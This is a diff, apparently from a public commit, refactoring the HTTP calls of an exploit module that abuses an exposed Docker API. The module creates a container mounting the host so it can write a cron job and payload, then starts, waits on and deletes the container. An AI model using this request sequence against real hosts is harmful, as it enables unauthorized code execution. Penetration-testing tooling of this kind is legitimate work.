@@ -50,9 +50,10 @@ def initialize(info = {})
50
50
51
51
def check_image ( image_id )
52
52
vprint_status ( "Check if images exist on the target host" )
53
- res = send_request_raw (
53
+ res = send_request_cgi (
54
54
'method' => 'GET' ,
55
- 'uri' => normalize_uri ( 'images' , 'json' )
55
+ 'uri' => normalize_uri ( 'images' , 'json' ) ,
56
+ 'ctype' => 'application/json'
56
57
)
57
58
return unless res && res . code == 200 && res . body . include? ( image_id )
58
59
@@ -61,9 +62,10 @@ def check_image(image_id)
61
62
62
63
def pull_image ( image_id )
63
64
print_status ( "Trying to pulling image from docker registry, this may take a while" )
64
- res = send_request_raw (
65
+ res = send_request_cgi (
65
66
'method' => 'POST' ,
66
- 'uri' => normalize_uri ( 'images' , 'create?fromImage=' + image_id )
67
+ 'uri' => normalize_uri ( 'images' , 'create?fromImage=' + image_id ) ,
68
+ 'ctype' => 'application/json'
67
69
)
68
70
return unless res && res . code == 200
69
71
@@ -104,19 +106,21 @@ def make_container(mnt_path, cron_path, payload_path)
104
106
end
105
107
106
108
def del_container ( container_id )
107
- send_request_raw (
109
+ send_request_cgi (
108
110
{
109
111
'method' => 'DELETE' ,
110
- 'uri' => normalize_uri ( 'containers' , container_id )
112
+ 'uri' => normalize_uri ( 'containers' , container_id ) ,
113
+ 'ctype' => 'application/json'
111
114
} ,
112
115
1 # timeout
113
116
)
114
117
end
115
118
116
119
def check
117
- res = send_request_raw (
120
+ res = send_request_cgi (
118
121
'method' => 'GET' ,
119
122
'uri' => normalize_uri ( 'containers' , 'json' ) ,
123
+ 'ctype' => 'application/json' ,
120
124
'headers' => { 'Accept' => 'application/json' }
121
125
)
122
126
@@ -151,10 +155,10 @@ def exploit
151
155
container_id = make_container_id
152
156
153
157
# create container
154
- res_create = send_request_raw (
158
+ res_create = send_request_cgi (
155
159
'method' => 'POST' ,
156
160
'uri' => normalize_uri ( 'containers' , 'create?name=' + container_id ) ,
157
- 'headers' => { 'Content-Type' => 'application/json' } ,
161
+ 'ctype' => 'application/json' ,
158
162
'data' => make_container ( mnt_path , cron_path , payload_path ) . to_json
159
163
)
160
164
fail_with ( Failure ::Unknown , 'Failed to create the docker container' ) unless res_create && res_create . code == 201
@@ -163,19 +167,21 @@ def exploit
163
167
register_files_for_cleanup ( cron_path , payload_path )
164
168
165
169
# start container
166
- send_request_raw (
170
+ send_request_cgi (
167
171
{
168
172
'method' => 'POST' ,
169
- 'uri' => normalize_uri ( 'containers' , container_id , 'start' )
173
+ 'uri' => normalize_uri ( 'containers' , container_id , 'start' ) ,
174
+ 'ctype' => 'application/json'
170
175
} ,
171
176
1 # timeout
172
177
)
173
178
174
179
# wait until container stopped
175
180
vprint_status ( "Waiting until the docker container stopped" )
176
- res_wait = send_request_raw (
181
+ res_wait = send_request_cgi (
177
182
'method' => 'POST' ,
178
183
'uri' => normalize_uri ( 'containers' , container_id , 'wait' ) ,
184
+ 'ctype' => 'application/json' ,
179
185
'headers' => { 'Accept' => 'application/json' }
180
186
)
181
187
0 commit comments